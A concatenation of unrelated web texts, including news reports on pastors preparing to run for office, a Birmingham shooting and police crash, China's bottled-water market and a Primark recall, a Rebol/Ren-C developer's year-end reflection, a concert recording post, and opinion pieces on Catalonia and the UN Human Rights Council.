Whether they open for early kickoffs.
Television/streaming networks available.
Supporters groups that call the pub home, including special map markers for American Outlaws bars.
Information on the beer and alcohol selection.
Whether or not they serve food.
General notes about the atmosphere.
Social media contacts.
Know of a soccer bar that’s missing? See a listing that needs updating? Help out your fellow fans by filling out this quick form and we’ll update the guide in short order.
Enlarge this image toggle caption Brandon Thibodeaux/Getty Images Brandon Thibodeaux/Getty Images
Many ministers do their best to stay away from politics when they preach, but hundreds of conservative pastors around the country are so upset about what they see as a moral crisis in government that they are preparing to run for public office themselves, with the goal of bringing "biblical values" to the political arena.
The initiative is led by David Lane, a born-again Christian and self-described "political operative" who has organized four large-scale training sessions in which evangelical pastors are tutored in the practical aspects of running a political campaign.
"Our goal is to get men and women who know the Bible to move into the public square," Lane said. "They'll know what to do when they get there." Lane calls his effort "Issachar Training," after one of the 12 tribes of Israel, a tribe that, according to the Bible (I Chronicles 12:32), was led by men who "understood the times and knew what Israel should do." With his extensive contacts in the conservative movement, Lane has gotten a Republican presidential candidate to keynote each of his training sessions. The latest, launched this week in Orlando, Fla., features former Arkansas Gov. Mike Huckabee, himself a former Baptist pastor.
"Somebody's values are going to reign supreme," Lane said, an observation he made repeatedly in talking about his project. "We want people with our values to be elected to office and to represent our interests there. That's what we're doing." Lane claims to have the email addresses of 100,000 pastors in his database. He notes that if just 1 percent of them choose to run for office, he'll have an "army" of 1,000 politicized pastors prepared to change the country.
Lane opened an Issachar training session last month in Charleston, S.C., with a prayer citing what he regarded as the nation's sins, from deficit spending to abortion. "Fifty-five million babies dead," he said. "Red ink as far as the eye can see. Homosexuals praying at the inauguration. ... Lord, have mercy." He told the assembled pastors that the decision of whether they should run for office is theirs alone to make.
Enlarge this image toggle caption Bruce Smith/AP Bruce Smith/AP
"Our goal is for them to discern whether God is calling them," Lane said in an interview. "We actually have no interest in them running unless they have a calling from God." But he and others urge the pastors at a minimum to mobilize their congregants politically. Among the speakers at the South Carolina meeting was Chad Connelly, a former state Republican chairman in South Carolina and currently director of faith engagement for the Republican National Committee.
"My No. 1 ask is, can you register 100 percent in your pews?" he said. "No. 2, can you preach biblical values and make sure people connect the dots? They don't understand. They don't know how to ascertain the facts and understand the issues of the day as God talks about them. ... No. 3, make sure they go vote those biblical values every single time," he said.
Connelly came equipped with polling data that show, he said, that if conservative ideas don't have enough traction in the nation, it's because conservatives are not voting in the numbers they should.
"[With] 5 percent more Christian evangelical people who are serious about the word of God and voting biblical values, we change the nation," Connelly said. "We change the nation forever."
At the Issachar training in South Carolina, experienced field organizers coached the assembled clergy on such practical issues as how to establish a finance committee, how and why to target certain voter precincts, and how to arrange photo opportunities. Pastors who were considering a run for political office were encouraged to start at the local level, aiming at a seat on their local school board, city council or zoning board.
Some Christian denominations discourage clergy from participating in political activities, and the Catholic Church prohibits it altogether. Under canon law, "Clerics are forbidden to assume public offices which entail a participation in the exercise of civil power." A 1994 advisory on the "Ministry and Life of Priests" stipulates that "the priest, as servant of the universal Church, cannot tie himself to any historical contingency, and therefore must be above any political party."
Most evangelical congregations, however, operate with more autonomy, and the effort to build a nationwide movement of pastor-politicians is gaining momentum. Among those drawn to the training is Gary Click, who presides over the Fremont Baptist Temple in Fremont, Ohio. Pastor Click this month announced from his pulpit that he is considering a run to be county commissioner.
"There were some people after church who said, 'Well, we're behind you all the way,' " Click said in an interview. "There are others who seem a little hesitant and wondering how that's going to affect my time in the church and so forth, so it's something we'll have to walk through."
Like other conservatives, Click was upset by the recent Supreme Court decision legalizing same-sex marriage, an issue that is at the forefront for many evangelical pastors. Anger over the ruling could prompt more conservative ministers to pursue political office. Click said he realizes local government is not necessarily a place where the culture war is fought, but that does not deter him.
"You can't overturn the Supreme Court from the county commissioner's desk," he said. "[But] it's a starting place. ... You can get some things done, and you can create a movement, and you can certainly educate people a lot more from that position."
Lane plans at least two more Issachar Training sessions this summer, one in Atlanta, Ga., and one in Austin, Texas. The workshops are organized and funded through the American Renewal Project, an organization Lane founded with the assistance of the conservative Christian group American Family Association.
A young West End suspect who is jailed on suspicion of fatally shooting someone and then intentionally T-boning two Birmingham police officers appeared to have streamed the entire crash on Facebook Live.
He is one of two suspects in the Birmingham City Jail after a series of incidents Friday night that left one man dead and two Birmingham West Precinct officers seriously injured. He was also involved in another high-profile crime earlier this year as a witness to the murder of one of his close friends.
Birmingham police spokesman Lt. Sean Edwards said Saturday that the officers remain hospitalized. Both suffered neck and back injuries, as well as multiple other problems. One of them is still in the Intensive Care Unit at UAB Hospital but both are expected to survive. A hospital spokeswoman said they are listed in fair condition.
"They've got a long road to recovery,'' Edwards said. "They got hit pretty good. It's a miracle both walked away alive."
"Unfortunately,'' he said, "an innocent life was lost due to the reckless actions of two not-so-innocent individuals."
One of them is an officer still on the training car who just graduated from the Birmingham Police Academy on March 17. The other is a veteran officer who was honored earlier this year by supervisors for his work as a field training officer, and for his devotion to responding to Shot Spotter calls.
It all began Friday night about 9:15 p.m. Edwards said it all started when the suspect reportedly stole a credit card from his grandmother to go buy an iPhone. The suspect's father went looking for him and spotted him on Jefferson Avenue and began to follow his son.
Someone from inside the car started shooting, and one of those bullets struck an innocent motorist who just happened to be in the wrong place at the wrong time. He has been identified as 20-year-old Antonio Brooks.
Brooks then crashed into a house in the 1700 block of Jefferson Avenue and was pronounced dead on the scene, becoming the city's 50th homicide victim in 2017. He was not carrying identification, so it was a challenge identifying him.
Officers working the homicide scene spotted the possible suspect vehicle. Officers confirmed that it was in fact the suspects and a pursuit began. Another patrol car was waiting at the intersection of 18th and Grant, Sgt. Bryan Shelton said Friday night.
The suspects' vehicle made its way to that area and collided with the patrol car sitting at 18th and Grant. The two officers were T-boned by a suspect fleeing the deadly shooting.
"These two suspects weren't satisfied with the homicide but it appears they intentionally drove their vehicle into the patrol car injuring these officers,'' Birmingham Police Chief A.C. Roper said Friday night.. "We are so thankful these officers survived this horrible collision."
The initial report came in just before 10 p.m. as a call of "officers down" in the 1800 block of Grant Avenue Southwest. Two Birmingham Fire and Rescue Service teams responded to the scene to transport the officers to the hospital. They were briefly trapped in their crashed vehicle. Rescue workers mapped out their transport route and a team of police officers blocked the intersections between Grant Avenue and UAB Hospital for fast transport.
According to a Facebook Live video obtained by AL.com, the suspect was driving through the area and remarking on all the flashing blue police lights. At one point during the video, he is heard saying, "Damn, free me man." It also appears he said, "Want me to hit (them)?"
The video continues after the violent crash, where officers can be heard ordering the suspects out of the car. Police officials aren't confirming the video is their suspect, but the person who streamed the video has the same name of a inmate booked into the Birmingham City Jail Saturday morning on suspicion of murder, reckless endangerment and attempted to elude police. Police on Saturday said they are still trying to determine whether the crash was intentional or accidental.
Edwards said he's not confirming the video is their suspect but said they do have a copy of it. He said they appreciate the evidence social media gives to investigators trying to solve crimes. "These criminals are foolish enough to post this stuff live hoping to get their three minutes of fame, but that three minutes could get them 30 years in prison,'' he said.
Edwards said the suspects have not yet been formally charged with any crime and the investigation is ongoing.
Liberal Democrat leader Tim Farron has described himself as a "bit of a Eurosceptic" despite his party's pro-EU stance.
Mr Farron cited his 2008 resignation from the Lib Dem front bench because he wanted a referendum on the Lisbon Treaty.
But he said only the Lib Dems could prevent the "calamity of hard Brexit".
The party is aiming to attract the votes of people who backed Remain in June's EU referendum.
Speaking on the BBC's Andrew Marr Show, he made a pitch for voters in former Lib Dem heartlands in the South West, where many people voted to leave the European Union.
"I don't want to go off on a little bit of a rabbit hole here, but you will remember that I resigned from the Liberal Democrat front bench about 10 years ago because I am a bit of a Eurosceptic," he said.
"I'm somebody who challenges people in power - the EU, in government, in councils - but I am somebody who believes Britain is better off in the European Union."
He also said he admired ex-prime minister Tony Blair for his electoral success, and claimed that Labour was now too divided to focus on the election.
Reiterating that there would be no Lib Dem coalition with Labour, he said a Conservative majority after the 8 June general election was "not in question" and that Mrs May was heading for a "colossal coronation" - making questions about party pacts meaningless.
"We're determined to turn the coronation she expects into a contest that Britain desperately needs," he added.
In a country with just 7% of the world’s freshwater supplies but 20% of its population, cheaper bottles of water taken from river basins, lakes and underground, and of purified tap water, are even more popular than expensive mineral waters. In the past five years China’s guzzling of bottled water has almost doubled, according to Euromonitor, a research firm, from 19 billion to 37 billion litres. It has also more than doubled its share of global consumption since 2006. In 2013 the country overtook America as the biggest market for bottled water by volume, according to Canadean, another research group.
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Hygiene and health concerns among China’s rising middle class have stoked demand as more migrate to cities, where water is more polluted and the bottled sort more common (typically, 19-litre barrels installed in homes). In 2009 the World Bank said water problems cost the country over 2% of GDP every year—mostly due to damage to health. In 2013 thousands of rotting pigs’ carcasses were found in the Huangpu river, which supplies four-fifths of tap water to Shanghai, China’s most populous city. Last April, in the industrial city of Lanzhou in the north-west, a leak from an oil company’s pipeline poisoned tap water for 2.4m locals with carcinogenic benzene. And even if water meets drinking standards at source, it can be harmful by the time it reaches the tap after coursing through decaying pipelines.
Little wonder, then, that among China’s ten wealthiest people is Zong Qinghou, the founder of Hangzhou Wahaha, one of its best-selling bottled-water firms. The country’s three biggest brands—Master Kong (Taiwanese-owned), Nongfu Spring and C’estbon—are all based in China, and together account for a third of sales. They are among the few sold nationally; there are also about 1,500 smaller, mostly local brands. According to Abigail Barnes, a legal expert at Yale University and one of the authors of a report on the industry, 220 new bottled-water firms have appeared since 2012 in Inner Mongolia, a Chinese region notorious for its poor water quality.
In rich countries purveyors of bottled water often make dubious claims about its health benefits. But at least the product they are peddling is safe. In China, where regulation has been lax and the most popular single-serving bottles sell at around 1 yuan (16 cents), few bottlers are likely to be using the sophisticated filtration technology that would rid their water of nasty metals and bugs.
Some of the largest brands have come under scrutiny: last December the authorities in Shanghai found that a quarter of bottled water sold locally—including by Hangzhou Wahaha—was contaminated with bacteria. National regulators have raised concerns about bottlers complying with laxer local standards (which allow higher levels of such contaminants as arsenic and cadmium) rather than their own, stricter standards.
But even national health inspectors are not required, for example, to check levels of mercury, silver or acidity, according to a report in 2013 by Beijing News. The tests they carry out on tap water are far more stringent. Bottlers do not need to specify their source, and those extracting water from groundwater reserves can, by law, avoid treating it altogether. Yet these sources are increasingly polluted. False branding (rife among distributors of barrels, which are often reused up to a few dozen times) muddies the waters further.
The government will implement a single national standard in May. A new pricing system, introduced to Beijing last year, makes the biggest users of water sources pay higher extraction fees. That should, in practice, help to weed out the most unscrupulous bottlers. Yet much groundwater extraction goes unchecked.
All this adds up to a giant opportunity for premium waters. Although the foreign firms now produce most of their water locally, their market share is still small. Coca-Cola’s waters (including Ice Dew, China’s biggest foreign-owned brand) have 5.6%. Danone of France, which used to be in a joint venture with Hangzhou Wahaha but now operates alone, is close behind with 5.5%. Nestlé of Switzerland has 1.8%.
The foreign-owned brands typically sell at premium prices of around 16-18 yuan for a single-serving bottle. But consumers’ growing worries about what they are drinking are making them more prepared to pay such prices. Nongshim, a South Korean food firm, is building a second bottled-water plant in Jilin province (it cut its deal before China tightened extraction rules for foreigners). The factory will produce 1m tonnes of bottled water annually, mostly for sales in China.
It faces stiff local competition. Tibet 5100, the first Chinese-owned premium brand of spring water, has sold well since it set up in 2006, with the help of a big contract to supply the main national train operator. And Nongfu Spring this month launched three new pricey bottled waters, at a sleek event in the forest near Changbaishan—each aimed at a different group (babies, schoolchildren and grown-ups), but all of them well-heeled.
…since a New Year is upon us, I thought I’d reflect on what we’ve accomplished and what we plan to do.
The Past
The Ren-C effort started perhaps a month or so prior to the Pull Request #1: Coherence One, on Jun 16, 2015. Having invested a bit into modeling what a C++ API for Red might look like to use, I found it easier to test that API linked to Rebol (since it was C, and given that many things in Red were incomplete).
Not wanting the work on understanding I’d done to go to waste, I wanted to un-fork the divergence between Atronix and earl’s “community” build. It seemed to make sense to couple that with using compiler warnings to maximum advantage, getting the codebase on solid ground with Valgrind and Address Sanitizer…and then not letting it slip back again.
So it’s been going on for 2 1/2 years. If you look at GitHub’s commit graphs, it hasn’t been exactly continuous work since the start date. But it hasn’t gone away. In that time there have been many accomplishments, to name a few:
@Brett’s work on getting the native specs into the C code, along with accessing arguments by name instead of number (with no degradation in performance by doing so) made a night vs. day difference in how the code looks.
@szeng’s rewrite of how extensions work and move of the build system to be completely Rebol-based has pointed toward how things should fit together, though we need to do everything we can to reign in growing complexity (there and elsewhere)
The console’s move to userspace…including for processing command line parameters…was another night vs. day difference. @draegtun’s work–one of the few places we actually have documentation was an inspiration to continue pushing on it.
Thanks to the initial work of earl for adding 64-bit support and Travis building 32 and 64 bit variants of Linux and Windows, plus that of @giuliolunati on Android and @szeng on Mac, we have an aggressive build matrix on Travis that works for us every day.
@gchiu has been amazingly resourceful in stepping into earl’s big shoes…linking those builds up to a download page and organizing other community resources (like this forum, of course)…staying present and keeping the chat lively.
@rgchris, @MarkEye, @kealist and everyone else have been there to talk out the big or small technical questions through the days, as we mull over what this language can and can’t become.
@johnk managed to save institutional knowledge from CureCode with a massive migration to GitHub, which is especially helpful as the rift with Red means no support keeping Rebol bugs alive would be expected.
BlackATTR, IngoHohmann, JacobGood1, GeekyI and everyone all coming to participate on chat and the forum help keep me interested and perhaps, even, a little bit grounded…you too, pekr, and even iArnold.
rebolek and everyone on the Red team have kept me irritated enough to need to finish my vision to prove them all wrong. (Oh fine, put yourself in the previous bullet point if you feel like it.)
Hopefully I haven’t left anyone off. But of course we all know who the real hero is!
Just kidding. Yet one thing that I must realistically confront is that if I stopped working on the system, the odds aren’t too good at this juncture that anyone else would step in to push it forward. And nothing would make Red happier than if I gave up.
So it’s worth mentioning I’ve certainly had moments of doubt if I wanted to continue. Life is short, I have a lot of interests, and this seems to have grabbed a lot more of my time than I would have ever imagined.
My stance–as many people know–is that Rebol is a language that is both very deep, and deeply flawed as a tool for generalized software development. We see moments where it does things no other tool does, and other moments where it fails…and there’s not exactly a clear map of the space of application for the language. But it seems every time I’ve thought of sending it to my digital dustbin, some new innovation pops up to give me faith that it’s something worth doing: definitional returns, specific binding, specialize/hijack/chain/adapt/enclose, void semantics, enfix, FRAME!s, redo, elide/comment… the list of design accomplishments is getting quite long.
Now with Red’s recent doings–it would seem responsibility for delivering the vision of the original Rebol has fallen even more squarely into our hands. Everything I’ve seen so far in the reaction to the crypto announcement indicates that regardless of if they raise the desired money, they’re going to be attracting what I’d call “the wrong element”. A different kind of get-rich obfuscating crypto crowd, who wouldn’t be truly moved by Carl’s initial vision statement (or even be moved by Nenad’s own “What is Red” presentation, which I actually quite liked)
The Future
As some of you know, I’ve traveled extensively the last couple of years. It’s hard for me to envision life a year from now–in more ways than one–it seems almost unfathomable that as the clock ticks 2019 I’d be writing something along the lines of “hmmm, we still haven’t changed the %.r files in the repo to be %.reb”. Groan.
I’m in this because I’ve said I want to build the Minecraft of programming. Something intuitive, composable, and visceral. More intrinsically flawed than pure functional programming–but accessible to a wider audience with similarly pleasing ergonomics (perhaps even to the point of feeling toy-like). But get people hooked to where they’re having so much fun they’ll forget that the particular task they’re doing could be done more rigorously–or even more easily–in some other language.
Ren Garden showed a glimpse of what this could be, and Qt is still very much how I would do things cross-platform, if it were just me. Yet I would like to remind people that it was really written in only about a month…and at a very early time in my understanding of Rebol’s implementation, while the API was being hammered out. I’ll also mention that while it’s cool…I would nearly guarantee that undertaking such an effort so it ran through a browser interface would be a more strategic choice. Even if it used something horrible like Electron. Groan again.
In any case, I have mixed feelings of investing too heavily in Ren Garden. Yes: I do still want us to be able to have automatic Travis drops for Windows/Mac/Linux. But it’s probably less useful as a tool in its own right than it is a showcase of how to embed Rebol in a C++ application. It has been a great test for that, and because of its general ambition helped me to avoid some design mistakes in the API
The technical things I want to get hammered out in the next several months are:
UTF-8 Everywhere: This isn’t so much that I feel pressured to solve the problem of emoji in code, as needing to solve the API-level behavior of strings in Rebol. It’s quite a gargantuan task, affecting the entire system (when we say “everywhere”, we mean “everywhere”). It is unbelievably difficult–probably the single most difficult change to date, rivaled only by specific binding. If not for the debug build, its noisy alerts, and the ability to choose to build the code as C++ I would call it impossible…for all practical purposes. But not only is it crucial, I think it could make a good marketing tool for the language being built on foundations that are future-forward…which would appeal to the UTF-8 Everywhere Manifesto crowd.
libRebol: I want it to be in working order, with full variadic support with C string runs, and built as a target in Travis. Yes, I mean rebDo("print [", rebInteger(x), "+ (2 *", rebEval(negate_function), "3)]", END); …forming blocks and groups across spans, going even further than RenCpp did but with pure ANSI C. Once libRebol can be brought in, that should make the Ren Garden build “more or less trivial” (to the extent configuring Travis is trivial)
Derived Binding: freeing us from the situation where 1000 instances of an object with 100 methods means making 1000 * 100 deep copies of function bodies. That’s the kind of serious flaw that you would think it would be flashing in big bright letters on the description of OBJECT!, because people will run into this. Atronix did, and it was a very big deal. I don’t have the solution completely worked out, but enough of it seems to work that I’m confident. (UPDATE: committed February 3rd, and no bugs reported…yet.)
Bring Rebmu Up To Date: Since I talk about wanting programming in Rebol to feel like you’re playing a fun game, there is one gaming community that actually plays with their code: Code Golfers. Not only do I think it’s probably the most intriguing golfing language people have invented yet–and a good marketing tool–I think it could be the language used to win a lot, if sufficient care is put into it.
Userspace Stepwise-Debugging and Tracing: The userspace console is already–in my opinion–pushing a lot of boundaries for how a console works. My recent ENCLOSE/HIJACK example shows a glimpse of how this is going to go even wilder, in the form of a very-hackable debugger, where most all of its logic is written in Rebol. To say there are a lot of open questions is an understatement, but I feel optimistic.
I can’t easily see too far past these “near-term” goals (they’re actually all huge things). And I don’t know how much anyone else can help me with those…or other deep things that I don’t feel design confidence about–like “arbitrary” virtual binding, user-defined types, modules, multiple dispatch, port design…
But we’ll need project growth to take the continuation-of-Rebol mantel away from Red, where it was previously hoped to be (especially hoped by me, because I didn’t want to be in the position of making a product). So that means we’ll have to start publishing. And downloads.rebol.info should look a lot like Red’s download page. Maybe start writing some cool articles. Or pay a company to make a press release we write about ourselves.
I also think selling a language is quite difficult, so any ideas people have for products that can sneak-attack people is a good idea. Whether that’s something like Graham’s lighting router, or an in-browser PARSE tool that looks something like RegExr, I don’t know.
Primark has recalled thousands of men’s flip flops over fears they contain a chemical that can cause cancer.
The company admitted three versions of the Cedar Wood State range in khaki, black and blue contained chrysene.
Chrysene has been noted to be a carcinogenic risk to humans and can cause cancer, reports Science Direct .
The shoes were taken off the shelves on June 2 after being on sale since January.
Primark has suspended orders with a factory pending an investigation and is offering full refunds to customers.
(Image: Primark)
(Image: Derby Telegraph WS)
A Primark spokesman told Mirror Online: “We take the safety of our customers, and the quality of our products, very seriously, which is why we have chosen to recall three men’s flip flops from our Cedar Wood State range.
"All new orders with this factory have been suspended while we carry out a thorough investigation.
"A full refund is being offered to all customers.”
In a warning online, the company said the flip flops do not "meet the Primark usual high standards for chemical compliance, adding: "We have found levels of a restricted substance in the product in excess of the 1.0 mg/kg requirement.
Albert Royo-Mariné, secretary general of the Public Diplomacy Council of Catalonia (Diplocat), says the European Union should be the first to point out that the actions of Spanish police during and after the Catalan independence referendum – beating peaceful, would-be voters, shutting websites and now detaining “political prisoners” – is not compatible with modern democracy.
Writing exclusively for The National today, he says that in Catalonia, Spain has a political problem that will not go away.
WATCH: You need to see this Catalan woman's heartfelt plea for help from Europe
Spanish Prime Minister Mariano Rajoy has dismissed all attempts at dialogue and is on the verge of setting in motion the procedures needed to suspend Catalonia’s existing devolved powers – leaving Catalonia’s President Carles Puigdemont “between a rock and a hard place”.
Royo-Mariné says such an escalation could result in Catalan government members being arrested and could see hundreds of thousands of Catalans taking to the streets in defence of their home rule and institutions.
He also comments on the jailing of two mainstays of the grassroots independence movement, Jordi Sánchez and Jordi Cuixart, “political prisoners” who are accused of sedition: “It’s pretty clear that both are in jail for no other crime than their political ideas.”
However, Royo-Mariné suggests that Rajoy could have taken action to defuse the crisis, including: removing the 10,000 military police sent to stop the poll, but who are still being housed on cruise ships in Catalan ports; and halting the criminal cases against Puigdemont, other Catalan government officials and hundreds of civic heads.
He says Rajoy did neither, and adds: “The Spanish government clearly has no interest in relieving the tense situation.”
Albert Royo-Mariné: The EU must tell Spain that beating peaceful voters is wrong ... before it's too late
ON Monday, Spain’s National Court sent to jail two key members of the Catalan grassroots independence movement. Jordi Sánchez, who heads the Catalan National Assembly (ANC), and Jordi Cuixart, leader of Omnium Cultural, are being held without bail accused of sedition. They are being investigated over a peaceful protest on September 20 at the end of which they called to the crowds for calm. It’s pretty clear that both are in jail for no other crime than their political ideas.
Spain has a political problem in Catalonia that will not go away with the action of judges and police, as the German Konrad Adenauer Stiftung stated in a recent document. Spain’s prime minister has rejected any type of dialogue to de-escalate tensions with Catalonia, in this way disdaining the hand extended by the President of Catalonia, who, following calls from various international counterparts, decided to suspend the effects of the declaration of independence last week so as to facilitate a dialogue with no conditions.
Thus the head of Spain’s Government outright rejected the possibility of mediation proposed by the Catalan president, as he decided to activate procedures for suspending home rule in Catalonia. Placing Catalonia’s president between a rock and a hard place, the Spanish Government sent a formal notice (a fax) calling for the annulment of the suspended declaration of independence before tomorrow, October 19.
If the Catalan president fails to do so, the Spanish Government, with the support of Spain’s main opposition party, will suspend Catalonia’s Statute of Autonomy and could end up arresting members of the Catalan government.
It is more than evident that this would lead to an escalation, without precedent, of tensions and would provoke hundreds of thousands of Catalan citizens to take to the streets to defend Catalonia’s home rule and institutions.
With this step, Prime Minister Rajoy will have scorned the Catalan president’s gesture, one that confounded more than a few of Catalonia’s citizens who understood that the October 1 referendum gave a clear mandate to declare independence, especially after they stoically withstood blows from batons and other physical attacks from the Spanish police as they peacefully queued to democratically express their views by voting. Instead of accepting the glove thrown down and taking measures towards de-escalation, the Spanish Government has doubled down on the pressure and shoved the Catalan Government into a dead-end street.
There are many gestures that Prime Minister Rajoy could have made to de-escalate the crisis and that he neglected to take. He could have removed the 10,000 military police sent to stop the referendum, who are still housed on three large cruise ships tied up in Barcelona and Tarragona ports. They are the ones who are responsible for what Human Rights Watch concluded was an excessive use of force against peaceful citizens that injured 893 people. Or they could have stopped all the court cases the Spanish Government has triggered against Catalan elected officials: the President of the Catalan Parliament is facing three criminal charges for allowing a debate on self-determination on the floor of the parliament; the former President of Catalonia was suspended from politics for two years and was made personally responsible for paying the full costs of an informal consultation held during his presidency in 2014 (€5.2 million, or £4.6m); the mayors of 800 Catalan towns are also indicted for having collaborated on the October 1 referendum; some 200 Catalan government and civil society websites have been shut down; and dozens of young people are charged with having replicated the removed websites, and so on.
Prime Minister Rajoy has not opted to stop any of these court actions, which surely would have reduced tensions. Instead he has sent a new threat to the Catalan authorities: either your surrender or we will arrest you. The Spanish Government clearly has no interest in relieving the tense situation at all. What they want is 100 per cent of their objectives.
Facing such a pessimistic scenario average citizens – working people, businessmen, and in fact all Catalans – ask our international counterparts who called for dialogue – and who have now seen the gestures made by the Catalan Government to reduce tensions and seek this dialogue – to call for the same from the Spanish Government.
The European Council, which will gather all EU heads of state or government tomorrow and Friday, could be a last occasion to ask Rajoy to de-escalate the crisis before it is definitively too late. The EU should be the first to remind its own members that beating peaceful voters, closing webpages and having political prisoners is not compatible with a modern democracy.
Albert Royo-Mariné is Secretary General of the Public Diplomacy Council of Catalonia (Diplocat).
I loved the Brooklyn Bowl show that we posted by Alex Bleeker and The Freaks — that one a combo run through their new album and some other originals, followed by a “Play Dead” set that’s become a staple of many of their live shows. This one flipped that script, with Bleeker and pals offering up a 100-minute set consisting almost entirely of Dead covers. This — my final show of the year — was billed as the afterparty to Phish’s 12/30 Madison Square Garden show, and the celebratory air from that event (an especially strong performance from this year’s MSG run) carried over into the more intimate confines of Rough Trade NYC.
Overall, this “Play Dead” was a looser, better and arguably truer performance to the spirit of the original band. While the Brooklyn Bowl set consisted mainly of discrete run-throughs of each song, you’ll notice that this set was filled with segues, kicking off with “China Cat Sunflower” into a surging “I Know You Rider” before venturing into cosmic territory with “Eyes to the World” into “He’s Gone” into “The Other One,” taking a short detour through “Dark Star” and ending up, improbably, with a Bleeker original, “Sealong Hair,” from their latest record, Country Agenda. After that came three more non-Dead tunes (two more originals, plus their regular-rotation cover of Mountain Man’s “Animal Tracks,” a fierce jam in its own right. Where Bleeker was joined last time by Real Estate’s Martin Courtney, here we had another cameo by one of his Ridgewood, NJ pals, Julian Lynch and multi-talented Dave Harrington (of many bands, but perhaps best-known for his work in Darkside). The band managed to deliver a little birthday salutation to Harringon in between “Tennessee Jed” and “St. Stephen,” which closed the set. By that point it was 2 a.m. and the club’s neighbors weren’t going to tolerate any more. For those of us inside, though, this was an afterparty that we’d have been happy to continue all night.
I recorded this set with a soundboard feed from Rough Trade engineer Leah, together with Schoeps MK4V microphones. The sound quality is outstanding. Enjoy!
Download the complete set: [FLAC] | [MP3]
Stream the complete set:
Alex Bleeker & The Freaks “Play Dead”
Rough Trade NYC
Brooklyn, NY USA
Exclusive download hosted at nyctaper.com
Recorded and produced by acidjack
Soundboard [engineer: Leah] + Schoeps MK4V (PAS)>KC5>CMC6>>Zoom F8>2x24bit/48kHz WAV>Adobe Audition CS 5.5 (align, mix down, fades)>Izotope Ozone 5 (effects)>Audacity 2.0.5 (track, amplify, balance, downsample)>FLAC ( level 8 )
Tracks [Total Time: 1:43:00]
All songs by the Grateful Dead unless noted
01 tuning>China Cat Sunflower>
02 I Know You Rider
03 Eyes of the World>
04 He’s Gone>
05 The Other One>
06 Dark Star Jam>
07 Sealong Hair [Alex Bleeker & the Freaks]
08 Downright Stinson [Alex Bleeker & the Freaks]
09 Animal Tracks [Mountain Man]
10 U.H.M. [Alex Bleeker & the Freaks]
11 Shakedown Street>
12 The Wheel>
13 Tennessee Jed>
14 [Happy bday to Dave]>
15 St. Stephen
16 [outro]
Saleh is the leader of the General People’s Congress and made his comments during a speech in Al-Sabeen Square in the capital Sana’a on the anniversary of the party’s foundation. He accused the government-in-exile of Abdrabbuh Mansur Hadi of treason and of plotting with the Arab coalition forces led by Saudi Arabia to “divide and fragment” the nation. “Being aware is in itself a weapon that shall be used against those who want to divide the nation,” he said.
The horror is that so many corrupt countries go along with it to protect their own corruption. More sickening is that countries pretending to stand for freedom, such as the United States, fund nearly a quarter of the UN's budget.
When Hamas was raining rockets down on Israel, most members of the UNHRC seemed unconcerned that Jerusalem might have had moral and legal obligations to protect its citizens.
What makes the UN Human Rights Council (UNHRC) ignore such rights violations? The answer is simple: most of the member states of the Council are themselves the worst violators of rights of their own citizens, and they are trying to save each other through a conspiracy of corruption.
Like it or not, the UN Human Rights Council (UNHRC) is a big flop. It does not care a fig for what it is supposed to do: promote and protect human rights in general, and freedom of association, assembly, expression, belief and religion, sexual preference and women's rights and the rights of racial and ethnic minorities in particular.
The past record of the UNHRC shows it has overlooked rights violations in a large part of the world in general and the Middle East in particular. The UNHRC has notoriously been obsessed with inventing rights violations by Israel, the Middle East's only democracy, where women and minorities -- the most oppressed sections in most of the nations in the world -- enjoy equality in law and practice both. Since March 2006, when the UN General Assembly brought the UNHRC into existence, it has condemned Israel 61 times, compared to just 55 condemnations of all other nations in the world combined.
How many times has the UNHRC condemned states such as Iran and Saudi Arabia, which oppress their own citizens -- women and minorities in particular -- and inspire many states to follow them?
What makes the UNHRC ignore such rights violations? The answer is simple: most of the member states of the Council are themselves the worst violators of the rights of their own citizens, and they are trying to save each other through a conspiracy of corruption.
The mandate of the UNHRC Advisory Committee experts is too restrictive for them to look into the rights abuses of the states they themselves belong to. Experts tend to pass time discussing some vague, high-sounding priorities, initiatives, working methods, procedural efficiency measures and proposals, such as creating a world human rights court for ensuring citizen safety and human rights.
Recently, the UNHRC voted on a resolution that condemned Israel for human rights violations allegedly committed during the 2014 Israeli strikes on Gaza. Forty-one countries voted in favor of the resolution. The United States alone voted against it. India, Kenya, Ethiopia, Paraguay and Macedonia abstained from voting.
The McGowan Davis Commission Report on the Israeli strikes claims that the Israeli military deliberately targeted civilian areas and residential buildings. The UNHRC brought it to a vote and called on Israel and Hamas "to cooperate fully with the International Criminal Court" -- another unaccountable, biased and politicized group.
Although the McGowan Davis Report also criticized Hamas for violence against Israeli citizens, its net effect amounted to equating Hamas, a lawless, terrorist actor, with Israel, a democratic state with a sound judicial system.
That approach to life is something that most member states of the UN Human Rights Council have in common with Hamas. Neither group seems to believe in secular democracy or human rights. The Hamas Charter preaches the politics of hatred and violence against Israel, but Hamas does not spare even its own people, whom it used freely during the war last year as cannon-fodder before the eyes of international television crews. Hamas threw many of the more progressive Palestinians off the highest floors of buildings in Gaza when it took over in 2007 and expelled officials of the Palestinian Authority (PA) and Fatah. Hamas activities have also included the support of the so-called "Axis of Resistance": Iran, Syria, Hezbollah, and the Islamic Jihad.
After Hamas's parent movement, the Muslim Brotherhood, came to power in Cairo, then Egyptian President Mohammed Morsi blessed Hamas.
In June 2014, senior Hamas leaders Khaled Mashaal, Fauzi Barhum, and Mushir al-Masri praised the abduction and murder of the three Jewish teenagers.
When Hamas was raining rockets down on Israel, most members of the UN Human Rights Council seemed unconcerned that Jerusalem might have had moral and legal obligations to protect its citizens by resorting to "Operation Protective Edge," aimed at countering more than 11,000 attacks from Gaza into Israel since Israel totally withdrew from the Gaza Strip in 2005.
Given the pattern of lawless, unpunished (often rewarded) behavior of many member states just now -- such as Iran, rewarded for violating the Non-Proliferation Treaty by being fast-tracked to building nuclear weapons; Russia, which invaded Ukraine with no push-back; and China, which has been building military land-fill islands throughout the South China Sea while encountering no serious negative response -- why shouldn't the leaders of Hamas employ a practice illegal under the Geneva Convention -- using the civilian population in Gaza as hostages -- to protect themselves, and dub the impending civilian casualties as "Israeli crimes against humanity"?
By contrast, any perceived infraction by Israel of the even most trivial nature is treated as an international catastrophe.
The horror is that so many corrupt countries go along with it to protect their own corruption.
More sickening is that countries pretending to stand for freedom, such as the United States, fund nearly a quarter of the UN's budget.
If you're unaware what squinching is, join the club! Merriam Webster defines it as:
SQUINCH transitive verb 1: to screw up (the eyes or face); squint 2: to make more compact.
